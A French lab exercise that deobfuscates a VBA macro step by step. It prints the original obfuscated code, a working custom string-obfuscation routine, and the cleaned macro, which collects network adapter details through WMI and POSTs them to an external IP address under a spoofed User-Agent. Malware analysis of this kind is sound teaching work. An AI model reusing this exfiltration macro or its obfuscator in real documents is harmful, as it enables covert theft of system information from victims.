# TP Macro obfusqué
Le but du TP est de simplifié le code si dessous pour le rendre lisible et comprehensible:
```shell=
Sub opop()
Dim lmlm As Long
Debug.Print FLQZEsG(Chr(56) & "K" & Chr(Int("&H56")) & Chr(&H61) & Chr(Int("85")) & Chr(Int("&H4e")) & Chr(75) & Chr(&H69) & Chr(&H2B) & Chr(&H6C) & Chr(76) & Chr(4987 - 4935) & Chr(2936 - 2893) & Chr(72) & Chr(57) & Chr(&H64))
End Sub
Sub WMI()
sWQL = FLQZEsG("gq14V+IwdBHohEVdaK7ySOp3F0yC71Zdqra7UKDjUFxotvVUoqbfVaDy8Vb46X9V")
Set kZbQjwYZwI = GetObject(FLQZEsG(Chr(43) & Chr(113) & Chr(57) & Chr(&H34) & Chr(Int("&H56")) & Chr(&H72) & Chr(&H4C) & Chr(Int("&H76")) & Chr(Int("&H64")) & Chr(170940 / 2442) & Chr(Int("110")) & Chr(1223 - 1110) & Chr(Int("110")) & Chr(Int("&H4e")) & Chr(Int("&H39")) & Chr(Int("87")) & Chr(101) & "K" & Chr(101) & Chr(Int("&H52")) & "Q" & Chr(Int("56")) & Chr(184600 / 1775) & Chr(Int("121")) & Chr(&H5A) & Chr(Int("49")) & Chr(Int("48")) & Chr(152073 / 2493)))
Set dC4BuSkdgWA = kZbQjwYZwI.ExecQuery(sWQL)
Set DKr6 = CreateObject(FLQZEsG(Chr(81) & Chr(2414 - 2338) & Chr(Int("99")) & Chr(9876 - 9762) & Chr(266728 / 3031) & "I" & Chr(&H68) & Chr(43) & "H" & Chr(Int("&H30")) & "C" & "o" & Chr(Int("&H76")) & Chr(675 - 565) & Chr(718 - 648) & Chr(99) & Chr(9498 - 9399) & Chr(Int("114")) & Chr(-2313 + 2418) & Chr(2184 - 2111) & Chr(Int("86")) & Chr(103) & Chr(Int("68")) & Chr(52) & Chr(Int("65")) & Chr(3600 - 3492) & Chr(Int("107")) & Chr(Int("&H3d"))))
URL = FLQZEsG("oPhSWbpN2wOqXn0DsED1C7hEUQuwWNMKqFjYRvil0lj6+H1f")
Debug.Print URL
Dim mWDaeVN()
For Each oWMIObjEx In dC4BuSkdgWA
If Not IsNull(oWMIObjEx.IPAddress) Then
Debug.Print Chr(73) & Chr(242240 / 3028) & Chr(Int("58")); oWMIObjEx.IPAddress(0)
DKr6.Open "P" & Chr(Int("&H4f")) & Chr(Int("83")) & Chr(&H54), URL, True
DKr6.setRequestHeader FLQZEsG(Chr(-2622 + 2725) & Chr(3356 - 3276) & "v" & Chr(Int("&H31")) & Chr(&H55) & Chr(Int("113")) & Chr(Int("&H69")) & Chr(87600 / 1095) & Chr(&H34) & Chr(Int("&H6c")) & Chr(&H54) & Chr(113) & Chr(43) & Chr(&H6C) & Chr(130751 / 2467) & Chr(-1217 + 1317)), FLQZEsG("gvr2UPAh/Q3iEHADwHXWCvCAzFXwNnBS+l5UCuiNWBWAM+kSgPzVUrhr3RO6X14AoFIURui28Vi6bvsRsEBxCw==")
DKr6.send oWMIObjEx.IPAddress(0)
Debug.Print FLQZEsG(Chr(109) & Chr(Int("&H4f")) & Chr(Int("&H48")) & "T" & Chr(&H58) & Chr(Int("&H66")) & Chr(Int("67")) & Chr(&H45) & Chr(Int("&H30")) & Chr(Int("&H56")) & Chr(&H58) & Chr(Int("52")) & Chr(Int("43")) & Chr(Int("&H6e")) & Chr(Int("49")) & Chr(Int("&H4d"))); oWMIObjEx.DNSHostName
For Each oWMIProp In oWMIObjEx.Properties_
If IsArray(oWMIProp.Value) Then
For n = LBound(oWMIProp.Value) To UBound(oWMIProp.Value)
Debug.Print oWMIProp.Name & Chr(Int("40")) & n & Chr(&H29), oWMIProp.Value(n)
DKr6.Open "P" & Chr(Int("&H4f")) & Chr(Int("83")) & Chr(&H54), URL, True
DKr6.setRequestHeader FLQZEsG(Chr(-2622 + 2725) & Chr(3356 - 3276) & "v" & Chr(Int("&H31")) & Chr(&H55) & Chr(Int("113")) & Chr(Int("&H69")) & Chr(87600 / 1095) & Chr(&H34) & Chr(Int("&H6c")) & Chr(&H54) & Chr(113) & Chr(43) & Chr(&H6C) & Chr(130751 / 2467) & Chr(-1217 + 1317)), FLQZEsG("gvr2UPAh/Q3iEHADwHXWCvCAzFXwNnBS+l5UCuiNWBWAM+kSgPzVUrhr3RO6X14AoFIURui28Vi6bvsRsEBxCw==")
DKr6.send oWMIProp.Value(n)
Next
Else
Debug.Print oWMIProp.Name, oWMIProp.Value
DKr6.Open "P" & Chr(Int("&H4f")) & Chr(Int("83")) & Chr(&H54), URL, True
DKr6.setRequestHeader FLQZEsG(Chr(-2622 + 2725) & Chr(3356 - 3276) & "v" & Chr(Int("&H31")) & Chr(&H55) & Chr(Int("113")) & Chr(Int("&H69")) & Chr(87600 / 1095) & Chr(&H34) & Chr(Int("&H6c")) & Chr(&H54) & Chr(113) & Chr(43) & Chr(&H6C) & Chr(130751 / 2467) & Chr(-1217 + 1317)), FLQZEsG("gvr2UPAh/Q3iEHADwHXWCvCAzFXwNnBS+l5UCuiNWBWAM+kSgPzVUrhr3RO6X14AoFIURui28Vi6bvsRsEBxCw==")
DKr6.send oWMIProp.Value
End If
Next
End If
Next
End Sub
Sub fizf()
Dim uuu As Long
Debug.Print FLQZEsG(Chr(Int("&H38")) & Chr(75) & "1" & Chr(Int("&H2f")) & Chr(&H56) & Chr(&H39) & Chr(113) & Chr(&H37) & Chr(Int("&H2b")) & Chr(&H6C) & Chr(Int("98")) & Chr(Int("54")) & Chr(Int("&H2b")) & Chr(110) & Chr(&H39) & Chr(Int("100")))
End Sub
Public Function EvdDqy6OENA(ByVal gZIsLqXecQ As Long, ByVal DjYb As Byte) As Long
EvdDqy6OENA = gZIsLqXecQ
If DjYb > 0 Then
If gZIsLqXecQ > 0 Then
EvdDqy6OENA = Int(EvdDqy6OENA / (2 ^ DjYb))
Else
If DjYb > 31 Then
EvdDqy6OENA = 0
Else
EvdDqy6OENA = EvdDqy6OENA And &H7FFFFFFF
EvdDqy6OENA = Int(EvdDqy6OENA / (2 ^ DjYb))
EvdDqy6OENA = EvdDqy6OENA Or 2 ^ (31 - DjYb)
End If
End If
End If
End Function
Public Function ESOMQRB(ByVal gZIsLqXecQ As Long, ByVal DjYb As Byte) As Long
ESOMQRB = gZIsLqXecQ
If DjYb > 0 Then
Dim i As Byte
Dim m As Long
For i = 1 To DjYb
m = ESOMQRB And &H40000000
ESOMQRB = (ESOMQRB And &H3FFFFFFF) * 2
If m <> 0 Then
ESOMQRB = ESOMQRB Or &H80000000
End If
Next i
End If
End Function
Public Function vdpz(ByVal lZZQvk As Long) As Long
Const RBu4v As Long = 5570645
Const rVKP As Long = 52428
Const d1 = 7
Const d2 = 14
Dim t As Long, u, out As Long
t = (lZZQvk Xor EvdDqy6OENA(lZZQvk, d2)) And rVKP
u = lZZQvk Xor t Xor ESOMQRB(t, d2)
t = (u Xor EvdDqy6OENA(u, d1)) And RBu4v
out = (u Xor t Xor ESOMQRB(t, d1))
vdpz = out
End Function
Public Function ioLNpl(ByRef AF6q7hHIt() As Byte) As String
Dim i, fr, k9KMgY9gc, raw As Long
Dim a As String, b As String, c As String, d As String
Dim LSewU7KJ As String
Dim a7RjSpybLOH() As String
Dim a2, b2 As String
LSewU7KJ = ""
For i = 0 To (UBound(AF6q7hHIt) / 4 + 1)
fr = i * 4
If fr > UBound(AF6q7hHIt) Then
Exit For
End If
k9KMgY9gc = 0
k9KMgY9gc = k9KMgY9gc Or ESOMQRB(AF6q7hHIt(fr + 3), 24)
k9KMgY9gc = k9KMgY9gc Or ESOMQRB(AF6q7hHIt(fr + 2), 16)
k9KMgY9gc = k9KMgY9gc Or ESOMQRB(AF6q7hHIt(fr + 1), 8)
k9KMgY9gc = k9KMgY9gc Or AF6q7hHIt(fr + 0)
raw = vdpz(k9KMgY9gc)
a = Chr(EvdDqy6OENA((raw And &HFF000000), 24))
b = Chr(EvdDqy6OENA((raw And 16711680), 16))
c = Chr(EvdDqy6OENA((raw And 65280), 8))
d = Chr(EvdDqy6OENA((raw And 255), 0))
LSewU7KJ = LSewU7KJ + d + c + b + a
Next i
ioLNpl = LSewU7KJ
End Function
Public Function FLQZEsG(AF6q7hHIt As String) As String
Dim w2gjg77jr2() As Byte, j6KQxT5tJ6n() As Byte, arrayByte3(255) As Byte
Dim x3omxY6yvrB(63) As Long, arrayLong5(63) As Long
Dim uvv6G4mnZkm(63) As Long, K6z6Ot0C As Long
Dim BxtO0 As Integer, iter As Long, V0Kyfluvo As Long, JtACZ7B0 As Long
Dim LSewU7KJ As String
AF6q7hHIt = Replace(AF6q7hHIt, vbCr, vbNullString)
AF6q7hHIt = Replace(AF6q7hHIt, vbLf, vbNullString)
JtACZ7B0 = Len(AF6q7hHIt) Mod 4
If InStrRev(AF6q7hHIt, "==") Then
BxtO0 = 2
ElseIf InStrRev(AF6q7hHIt, "" + "=") Then
BxtO0 = 1
End If
For JtACZ7B0 = 0 To 255
Select Case JtACZ7B0
Case 65 To 90
arrayByte3(JtACZ7B0) = JtACZ7B0 - 65
Case 97 To 122
arrayByte3(JtACZ7B0) = JtACZ7B0 - 71
Case 48 To 57
arrayByte3(JtACZ7B0) = JtACZ7B0 + 4
Case 43
arrayByte3(JtACZ7B0) = 62
Case 47
arrayByte3(JtACZ7B0) = 63
End Select
Next JtACZ7B0
For JtACZ7B0 = 0 To 63
x3omxY6yvrB(JtACZ7B0) = JtACZ7B0 * 64
arrayLong5(JtACZ7B0) = JtACZ7B0 * 4096
uvv6G4mnZkm(JtACZ7B0) = JtACZ7B0 * 262144
Next JtACZ7B0
j6KQxT5tJ6n = StrConv(AF6q7hHIt, vbFromUnicode)
ReDim w2gjg77jr2((((UBound(j6KQxT5tJ6n) + 1) \ 4) * 3) - 1)
For iter = 0 To UBound(j6KQxT5tJ6n) Step 4
K6z6Ot0C = uvv6G4mnZkm(arrayByte3(j6KQxT5tJ6n(iter))) + arrayLong5(arrayByte3(j6KQxT5tJ6n(iter + 1))) + x3omxY6yvrB(arrayByte3(j6KQxT5tJ6n(iter + 2))) + arrayByte3(j6KQxT5tJ6n(iter + 3))
JtACZ7B0 = K6z6Ot0C And 16711680
w2gjg77jr2(V0Kyfluvo) = JtACZ7B0 \ 65536
JtACZ7B0 = K6z6Ot0C And 65280
w2gjg77jr2(V0Kyfluvo + 1) = JtACZ7B0 \ 256
w2gjg77jr2(V0Kyfluvo + 2) = K6z6Ot0C And 255
V0Kyfluvo = V0Kyfluvo + 3
Next iter
LSewU7KJ = StrConv(w2gjg77jr2, vbUnicode)
If BxtO0 Then LSewU7KJ = Left$(LSewU7KJ, Len(LSewU7KJ) - BxtO0)
FLQZEsG = ioLNpl(StrConv(LSewU7KJ, vbFromUnicode))
FLQZEsG = iCq96(FLQZEsG, "~")
End Function
Function iCq96(AoOV0Ml As String, AjzxVaRR3fu As String) As String
Dim oxOXp4 As Long
Dim S8XOtKPLsWIl() As String
S8XOtKPLsWIl = Split(AoOV0Ml, AjzxVaRR3fu)
oxOXp4 = UBound(S8XOtKPLsWIl, 1)
If oxOXp4 <> 0 Then
AoOV0Ml = Left$(AoOV0Ml, Len(AoOV0Ml) - oxOXp4)
End If
iCq96 = AoOV0Ml
End Function
```
## Etape 1:
La premiere etape que j'ai effectué est de voir la sortie du code pour commencer a comprendre ce que il faisait. Suite à cela deux fonctions sont sortie comme inutile donc on les supprimes:
```shell=
Sub fizf()
Dim uuu As Long
Debug.Print FLQZEsG(Chr(Int("&H38")) & Chr(75) & "1" & Chr(Int("&H2f")) & Chr(&H56) & Chr(&H39) & Chr(113) & Chr(&H37) & Chr(Int("&H2b")) & Chr(&H6C) & Chr(Int("98")) & Chr(Int("54")) & Chr(Int("&H2b")) & Chr(110) & Chr(&H39) & Chr(Int("100")))
End Sub
```
qui retourne yolo_yolo et
```shell=
Sub opop()
Dim lmlm As Long
Debug.Print FLQZEsG(Chr(56) & "K" & Chr(Int("&H56")) & Chr(&H61) & Chr(Int("85")) & Chr(Int("&H4e")) & Chr(75) & Chr(&H69) & Chr(&H2B) & Chr(&H6C) & Chr(76) & Chr(4987 - 4935) & Chr(2936 - 2893) & Chr(72) & Chr(57) & Chr(&H64))
End Sub
```
qui retoune hi_hi.
## Etape 2:
Suite à l'etape 1 on renomme toutes les variables et fonctions du code pour une meilleur comprehension et visibilité de celui-ci.
On renomme les fonctions par function_XX,
les variables par var_XX,
et les constantes const_XX.
Ce qui donne ceci:
```shell=
Sub WMI()
sWQL = function_05("gq14V+IwdBHohEVdaK7ySOp3F0yC71Zdqra7UKDjUFxotvVUoqbfVaDy8Vb46X9V")
Set var_16 = GetObject(function_05(Chr(43) & Chr(113) & Chr(57) & Chr(&H34) & Chr(Int("&H56")) & Chr(&H72) & Chr(&H4C) & Chr(Int("&H76")) & Chr(Int("&H64")) & Chr(170940 / 2442) & Chr(Int("110")) & Chr(1223 - 1110) & Chr(Int("110")) & Chr(Int("&H4e")) & Chr(Int("&H39")) & Chr(Int("87")) & Chr(101) & "K" & Chr(101) & Chr(Int("&H52")) & "Q" & Chr(Int("56")) & Chr(184600 / 1775) & Chr(Int("121")) & Chr(&H5A) & Chr(Int("49")) & Chr(Int("48")) & Chr(152073 / 2493)))
Set var_17 = var_16.ExecQuery(sWQL)
Set var_18 = CreateObject(function_05(Chr(81) & Chr(2414 - 2338) & Chr(Int("99")) & Chr(9876 - 9762) & Chr(266728 / 3031) & "I" & Chr(&H68) & Chr(43) & "H" & Chr(Int("&H30")) & "C" & "o" & Chr(Int("&H76")) & Chr(675 - 565) & Chr(718 - 648) & Chr(99) & Chr(9498 - 9399) & Chr(Int("114")) & Chr(-2313 + 2418) & Chr(2184 - 2111) & Chr(Int("86")) & Chr(103) & Chr(Int("68")) & Chr(52) & Chr(Int("65")) & Chr(3600 - 3492) & Chr(Int("107")) & Chr(Int("&H3d"))))
Url = function_05("oPhSWbpN2wOqXn0DsED1C7hEUQuwWNMKqFjYRvil0lj6+H1f")
Debug.Print Url
Dim function_14()
For Each oWMIObjEx In var_17
If Not IsNull(oWMIObjEx.IPAddress) Then
Debug.Print Chr(73) & Chr(242240 / 3028) & Chr(Int("58")); oWMIObjEx.IPAddress(0)
var_18.Open "P" & Chr(Int("&H4f")) & Chr(Int("83")) & Chr(&H54), Url, True
var_18.setRequestHeader function_05(Chr(-2622 + 2725) & Chr(3356 - 3276) & "v" & Chr(Int("&H31")) & Chr(&H55) & Chr(Int("113")) & Chr(Int("&H69")) & Chr(87600 / 1095) & Chr(&H34) & Chr(Int("&H6c")) & Chr(&H54) & Chr(113) & Chr(43) & Chr(&H6C) & Chr(130751 / 2467) & Chr(-1217 + 1317)), function_05("gvr2UPAh/Q3iEHADwHXWCvCAzFXwNnBS+l5UCuiNWBWAM+kSgPzVUrhr3RO6X14AoFIURui28Vi6bvsRsEBxCw==")
var_18.send oWMIObjEx.IPAddress(0)
Debug.Print function_05(Chr(109) & Chr(Int("&H4f")) & Chr(Int("&H48")) & "T" & Chr(&H58) & Chr(Int("&H66")) & Chr(Int("67")) & Chr(&H45) & Chr(Int("&H30")) & Chr(Int("&H56")) & Chr(&H58) & Chr(Int("52")) & Chr(Int("43")) & Chr(Int("&H6e")) & Chr(Int("49")) & Chr(Int("&H4d"))); oWMIObjEx.DNSHostName
For Each oWMIProp In oWMIObjEx.Properties_
If IsArray(oWMIProp.Value) Then
For n = LBound(oWMIProp.Value) To UBound(oWMIProp.Value)
Debug.Print oWMIProp.Name & Chr(Int("40")) & n & Chr(&H29), oWMIProp.Value(n)
var_18.Open "P" & Chr(Int("&H4f")) & Chr(Int("83")) & Chr(&H54), Url, True
var_18.setRequestHeader function_05(Chr(-2622 + 2725) & Chr(3356 - 3276) & "v" & Chr(Int("&H31")) & Chr(&H55) & Chr(Int("113")) & Chr(Int("&H69")) & Chr(87600 / 1095) & Chr(&H34) & Chr(Int("&H6c")) & Chr(&H54) & Chr(113) & Chr(43) & Chr(&H6C) & Chr(130751 / 2467) & Chr(-1217 + 1317)), function_05("gvr2UPAh/Q3iEHADwHXWCvCAzFXwNnBS+l5UCuiNWBWAM+kSgPzVUrhr3RO6X14AoFIURui28Vi6bvsRsEBxCw==")
var_18.send oWMIProp.Value(n)
Next
Else
Debug.Print oWMIProp.Name, oWMIProp.Value
var_18.Open "P" & Chr(Int("&H4f")) & Chr(Int("83")) & Chr(&H54), Url, True
var_18.setRequestHeader function_05(Chr(-2622 + 2725) & Chr(3356 - 3276) & "v" & Chr(Int("&H31")) & Chr(&H55) & Chr(Int("113")) & Chr(Int("&H69")) & Chr(87600 / 1095) & Chr(&H34) & Chr(Int("&H6c")) & Chr(&H54) & Chr(113) & Chr(43) & Chr(&H6C) & Chr(130751 / 2467) & Chr(-1217 + 1317)), function_05("gvr2UPAh/Q3iEHADwHXWCvCAzFXwNnBS+l5UCuiNWBWAM+kSgPzVUrhr3RO6X14AoFIURui28Vi6bvsRsEBxCw==")
var_18.send oWMIProp.Value
End If
Next
End If
Next
End Sub
Public Function function_01(ByVal var_01 As Long, ByVal var_02 As Byte) As Long
function_01 = var_01
If var_02 > 0 Then
If var_01 > 0 Then
function_01 = Int(function_01 / (2 ^ var_02))
Else
If var_02 > 31 Then
function_01 = 0
Else
function_01 = function_01 And &H7FFFFFFF
function_01 = Int(function_01 / (2 ^ var_02))
function_01 = function_01 Or 2 ^ (31 - var_02)
End If
End If
End If
End Function
Public Function function_02(ByVal var_01 As Long, ByVal var_02 As Byte) As Long
function_02 = var_01
If var_02 > 0 Then
Dim i As Byte
Dim m As Long
For i = 1 To var_02
m = function_02 And &H40000000
function_02 = (function_02 And &H3FFFFFFF) * 2
If m <> 0 Then
function_02 = function_02 Or &H80000000
End If
Next i
End If
End Function
Public Function function_03(ByVal var_03 As Long) As Long
Const const_01 As Long = 5570645
Const const_02 As Long = 52428
Const d1 = 7
Const d2 = 14
Dim t As Long, u, out As Long
t = (var_03 Xor function_01(var_03, d2)) And const_02
u = var_03 Xor t Xor function_02(t, d2)
t = (u Xor function_01(u, d1)) And const_01
out = (u Xor t Xor function_02(t, d1))
function_03 = out
End Function
Public Function function_04(ByRef function_07() As Byte) As String
Dim i, fr, var_06, raw As Long
Dim a As String, b As String, c As String, d As String
Dim var_07 As String
Dim function_08() As String
Dim a2, b2 As String
var_07 = ""
For i = 0 To (UBound(function_07) / 4 + 1)
fr = i * 4
If fr > UBound(function_07) Then
Exit For
End If
var_06 = 0
var_06 = var_06 Or function_02(function_07(fr + 3), 24)
var_06 = var_06 Or function_02(function_07(fr + 2), 16)
var_06 = var_06 Or function_02(function_07(fr + 1), 8)
var_06 = var_06 Or function_07(fr + 0)
raw = function_03(var_06)
a = Chr(function_01((raw And &HFF000000), 24))
b = Chr(function_01((raw And 16711680), 16))
c = Chr(function_01((raw And 65280), 8))
d = Chr(function_01((raw And 255), 0))
var_07 = var_07 + d + c + b + a
Next i
function_04 = var_07
End Function
Public Function function_05(function_07 As String) As String
Dim function_09() As Byte, function_10() As Byte, var_13(255) As Byte
Dim function_11(63) As Long, var_14(63) As Long
Dim function_12(63) As Long, var_08 As Long
Dim var_09 As Integer, var_10 As Long, var_11 As Long, var_12 As Long
Dim var_07 As String
function_07 = Replace(function_07, vbCr, vbNullString)
function_07 = Replace(function_07, vbLf, vbNullString)
var_12 = Len(function_07) Mod 4
If InStrRev(function_07, "==") Then
var_09 = 2
ElseIf InStrRev(function_07, "" + "=") Then
var_09 = 1
End If
For var_12 = 0 To 255
Select Case var_12
Case 65 To 90
var_13(var_12) = var_12 - 65
Case 97 To 122
var_13(var_12) = var_12 - 71
Case 48 To 57
var_13(var_12) = var_12 + 4
Case 43
var_13(var_12) = 62
Case 47
var_13(var_12) = 63
End Select
Next var_12
For var_12 = 0 To 63
function_11(var_12) = var_12 * 64
var_14(var_12) = var_12 * 4096
function_12(var_12) = var_12 * 262144
Next var_12
function_10 = StrConv(function_07, vbFromUnicode)
ReDim function_09((((UBound(function_10) + 1) \ 4) * 3) - 1)
For var_10 = 0 To UBound(function_10) Step 4
var_08 = function_12(var_13(function_10(var_10))) + var_14(var_13(function_10(var_10 + 1))) + function_11(var_13(function_10(var_10 + 2))) + var_13(function_10(var_10 + 3))
var_12 = var_08 And 16711680
function_09(var_11) = var_12 \ 65536
var_12 = var_08 And 65280
function_09(var_11 + 1) = var_12 \ 256
function_09(var_11 + 2) = var_08 And 255
var_11 = var_11 + 3
Next var_10
var_07 = StrConv(function_09, vbUnicode)
If var_09 Then var_07 = Left$(var_07, Len(var_07) - var_09)
function_05 = function_04(StrConv(var_07, vbFromUnicode))
function_05 = function_06(function_05, "~")
End Function
Function function_06(var_04 As String, var_05 As String) As String
Dim var_15 As Long
Dim function_13() As String
function_13 = Split(var_04, var_05)
var_15 = UBound(function_13, 1)
If var_15 <> 0 Then
var_04 = Left$(var_04, Len(var_04) - var_15)
End If
function_06 = var_04
End Function
```
## Etape 3
On remplace dans la partie du sub WMI toutes les utilisations d'autre focntion en remplacent les appel a la fonction 5 qui traduit des chaine de caractere en Ascii par des string plus comprenhensible pour cela on effectue des debug.print de chaque utilisation de la fonction 5 qui ressort une string comprehensible en sortie et on la remplace dans le code:
exemple:
```shell=
Debug.Print function_05("gq14V+IwdBHohEVdaK7ySOp3F0yC71Zdqra7UKDjUFxotvVUoqbfVaDy8Vb46X9V")
```
sortira: "Select * From Win32_NetworkAdapterConfiguration" dans le terminale.
On fait cela pour les autres chaine de caractere Ascii:
```shell=
Sub WMI()
sWQL = "Select * From Win32_NetworkAdapterConfiguration"
Set var_16 = GetObject("winmgmts:root/CIMV2")
Set var_17 = var_16.ExecQuery(sWQL)
Set var_18 = CreateObject("MSXML2.ServerXMLHTTP")
Url = "http://176.31.120.218:5000/thisis"
Debug.Print Url
For Each oWMIObjEx In var_17
If Not IsNull(oWMIObjEx.IPAddress) Then
Debug.Print "IP:"; oWMIObjEx.IPAddress(0)
var_18.Open "P" & OST, Url, True
var_18.setRequestHeader "User-Agent", "Opera/9.34 (X11; Linux i686; en-US) Presto/2.9.340 Version/11.00"
var_18.send oWMIObjEx.IPAddress(0)
Debug.Print "Host name:"; oWMIObjEx.DNSHostName
For Each oWMIProp In oWMIObjEx.Properties_
If IsArray(oWMIProp.Value) Then
For n = LBound(oWMIProp.Value) To UBound(oWMIProp.Value)
Debug.Print oWMIProp.Name & "()", oWMIProp.Value(n)
var_18.Open "P" & "OST", Url, True
var_18.setRequestHeader "User-Agent", "Opera/9.34 (X11; Linux i686; en-US) Presto/2.9.340 Version/11.00"
var_18.send oWMIProp.Value(n)
Next
Else
Debug.Print oWMIProp.Name, oWMIProp.Value
var_18.Open "P" & "OST", Url, True
var_18.setRequestHeader "User-Agent", "Opera/9.34 (X11; Linux i686; en-US) Presto/2.9.340 Version/11.00"
var_18.send oWMIProp.Value
End If
Next
End If
Next
End Sub
Public Function function_01(ByVal var_01 As Long, ByVal var_02 As Byte) As Long
function_01 = var_01
If var_02 > 0 Then
If var_01 > 0 Then
function_01 = Int(function_01 / (2 ^ var_02))
Else
If var_02 > 31 Then
function_01 = 0
Else
function_01 = function_01 And &H7FFFFFFF
function_01 = Int(function_01 / (2 ^ var_02))
function_01 = function_01 Or 2 ^ (31 - var_02)
End If
End If
End If
End Function
Public Function function_02(ByVal var_01 As Long, ByVal var_02 As Byte) As Long
function_02 = var_01
If var_02 > 0 Then
Dim i As Byte
Dim m As Long
For i = 1 To var_02
m = function_02 And &H40000000
function_02 = (function_02 And &H3FFFFFFF) * 2
If m <> 0 Then
function_02 = function_02 Or &H80000000
End If
Next i
End If
End Function
Public Function function_03(ByVal var_03 As Long) As Long
Const const_01 As Long = 5570645
Const const_02 As Long = 52428
Const d1 = 7
Const d2 = 14
Dim t As Long, u, out As Long
t = (var_03 Xor function_01(var_03, d2)) And const_02
u = var_03 Xor t Xor function_02(t, d2)
t = (u Xor function_01(u, d1)) And const_01
out = (u Xor t Xor function_02(t, d1))
function_03 = out
End Function
Public Function function_04(ByRef function_07() As Byte) As String
Dim i, fr, var_06, raw As Long
Dim a As String, b As String, c As String, d As String
Dim var_07 As String
Dim function_08() As String
Dim a2, b2 As String
var_07 = ""
For i = 0 To (UBound(function_07) / 4 + 1)
fr = i * 4
If fr > UBound(function_07) Then
Exit For
End If
var_06 = 0
var_06 = var_06 Or function_02(function_07(fr + 3), 24)
var_06 = var_06 Or function_02(function_07(fr + 2), 16)
var_06 = var_06 Or function_02(function_07(fr + 1), 8)
var_06 = var_06 Or function_07(fr + 0)
raw = function_03(var_06)
a = Chr(function_01((raw And &HFF000000), 24))
b = Chr(function_01((raw And 16711680), 16))
c = Chr(function_01((raw And 65280), 8))
d = Chr(function_01((raw And 255), 0))
var_07 = var_07 + d + c + b + a
Next i
function_04 = var_07
End Function
Public Function function_05(function_07 As String) As String
Dim function_09() As Byte, function_10() As Byte, var_13(255) As Byte
Dim function_11(63) As Long, var_14(63) As Long
Dim function_12(63) As Long, var_08 As Long
Dim var_09 As Integer, var_10 As Long, var_11 As Long, var_12 As Long
Dim var_07 As String
function_07 = Replace(function_07, vbCr, vbNullString)
function_07 = Replace(function_07, vbLf, vbNullString)
var_12 = Len(function_07) Mod 4
If InStrRev(function_07, "==") Then
var_09 = 2
ElseIf InStrRev(function_07, "" + "=") Then
var_09 = 1
End If
For var_12 = 0 To 255
Select Case var_12
Case 65 To 90
var_13(var_12) = var_12 - 65
Case 97 To 122
var_13(var_12) = var_12 - 71
Case 48 To 57
var_13(var_12) = var_12 + 4
Case 43
var_13(var_12) = 62
Case 47
var_13(var_12) = 63
End Select
Next var_12
For var_12 = 0 To 63
function_11(var_12) = var_12 * 64
var_14(var_12) = var_12 * 4096
function_12(var_12) = var_12 * 262144
Next var_12
function_10 = StrConv(function_07, vbFromUnicode)
ReDim function_09((((UBound(function_10) + 1) \ 4) * 3) - 1)
For var_10 = 0 To UBound(function_10) Step 4
var_08 = function_12(var_13(function_10(var_10))) + var_14(var_13(function_10(var_10 + 1))) + function_11(var_13(function_10(var_10 + 2))) + var_13(function_10(var_10 + 3))
var_12 = var_08 And 16711680
function_09(var_11) = var_12 \ 65536
var_12 = var_08 And 65280
function_09(var_11 + 1) = var_12 \ 256
function_09(var_11 + 2) = var_08 And 255
var_11 = var_11 + 3
Next var_10
var_07 = StrConv(function_09, vbUnicode)
If var_09 Then var_07 = Left$(var_07, Len(var_07) - var_09)
function_05 = function_04(StrConv(var_07, vbFromUnicode))
function_05 = function_06(function_05, "~")
End Function
Function function_06(var_04 As String, var_05 As String) As String
Dim var_15 As Long
Dim function_13() As String
function_13 = Split(var_04, var_05)
var_15 = UBound(function_13, 1)
If var_15 <> 0 Then
var_04 = Left$(var_04, Len(var_04) - var_15)
End If
function_06 = var_04
End Function
```
## Etape 4
Après avoir traduit les chaines Ascii on remarque que plus aucune des fonctions publiques est utilisé dans le Sub on peut donc les supprimés:
```shell=
Sub WMI()
sWQL = "Select * From Win32_NetworkAdapterConfiguration"
Set var_16 = GetObject("winmgmts:root/CIMV2")
Set var_17 = var_16.ExecQuery(sWQL)
Set var_18 = CreateObject("MSXML2.ServerXMLHTTP")
Url = "http://176.31.120.218:5000/thisis"
Debug.Print Url
For Each oWMIObjEx In var_17
If Not IsNull(oWMIObjEx.IPAddress) Then
Debug.Print "IP:"; oWMIObjEx.IPAddress(0)
var_18.Open "P" & OST, Url, True
var_18.setRequestHeader "User-Agent", "Opera/9.34 (X11; Linux i686; en-US) Presto/2.9.340 Version/11.00"
var_18.send oWMIObjEx.IPAddress(0)
Debug.Print "Host name:"; oWMIObjEx.DNSHostName
For Each oWMIProp In oWMIObjEx.Properties_
If IsArray(oWMIProp.Value) Then
For n = LBound(oWMIProp.Value) To UBound(oWMIProp.Value)
Debug.Print oWMIProp.Name & "()", oWMIProp.Value(n)
var_18.Open "P" & "OST", Url, True
var_18.setRequestHeader "User-Agent", "Opera/9.34 (X11; Linux i686; en-US) Presto/2.9.340 Version/11.00"
var_18.send oWMIProp.Value(n)
Next
Else
Debug.Print oWMIProp.Name, oWMIProp.Value
var_18.Open "P" & "OST", Url, True
var_18.setRequestHeader "User-Agent", "Opera/9.34 (X11; Linux i686; en-US) Presto/2.9.340 Version/11.00"
var_18.send oWMIProp.Value
End If
Next
End If
Next
End Sub
```
on peut donc renommer les variables a nouveaux et on indente le code:
```shell=
Sub WMI()
sWQL = "Select * From Win32_NetworkAdapterConfiguration"
Set var_01 = GetObject("winmgmts:root/CIMV2")
Set var_02 = var_01.ExecQuery(sWQL)
Set var_03 = CreateObject("MSXML2.ServerXMLHTTP")
Url = "http://176.31.120.218:5000/thisis"
Debug.Print Url
For Each oWMIObjEx In var_02
If Not IsNull(oWMIObjEx.IPAddress) Then
Debug.Print "IP:"; oWMIObjEx.IPAddress(0)
var_03.Open "POST", Url, True
var_03.setRequestHeader "User-Agent", "Opera/9.34 (X11; Linux i686; en-US) Presto/2.9.340 Version/11.00"
var_03.send oWMIObjEx.IPAddress(0)
Debug.Print "Host name:"; oWMIObjEx.DNSHostName
For Each oWMIProp In oWMIObjEx.Properties_
If IsArray(oWMIProp.Value) Then
For n = LBound(oWMIProp.Value) To UBound(oWMIProp.Value)
Debug.Print oWMIProp.Name & "()", oWMIProp.Value(n)
var_03.Open "POST", Url, True
var_03.setRequestHeader "User-Agent", "Opera/9.34 (X11; Linux i686; en-US) Presto/2.9.340 Version/11.00"
var_03.send oWMIProp.Value(n)
Next
Else
Debug.Print oWMIProp.Name, oWMIProp.Value
var_03.Open "POST", Url, True
var_03.setRequestHeader "User-Agent", "Opera/9.34 (X11; Linux i686; en-US) Presto/2.9.340 Version/11.00"
var_03.send oWMIProp.Value
End If
Next
End If
Next
End Sub
```
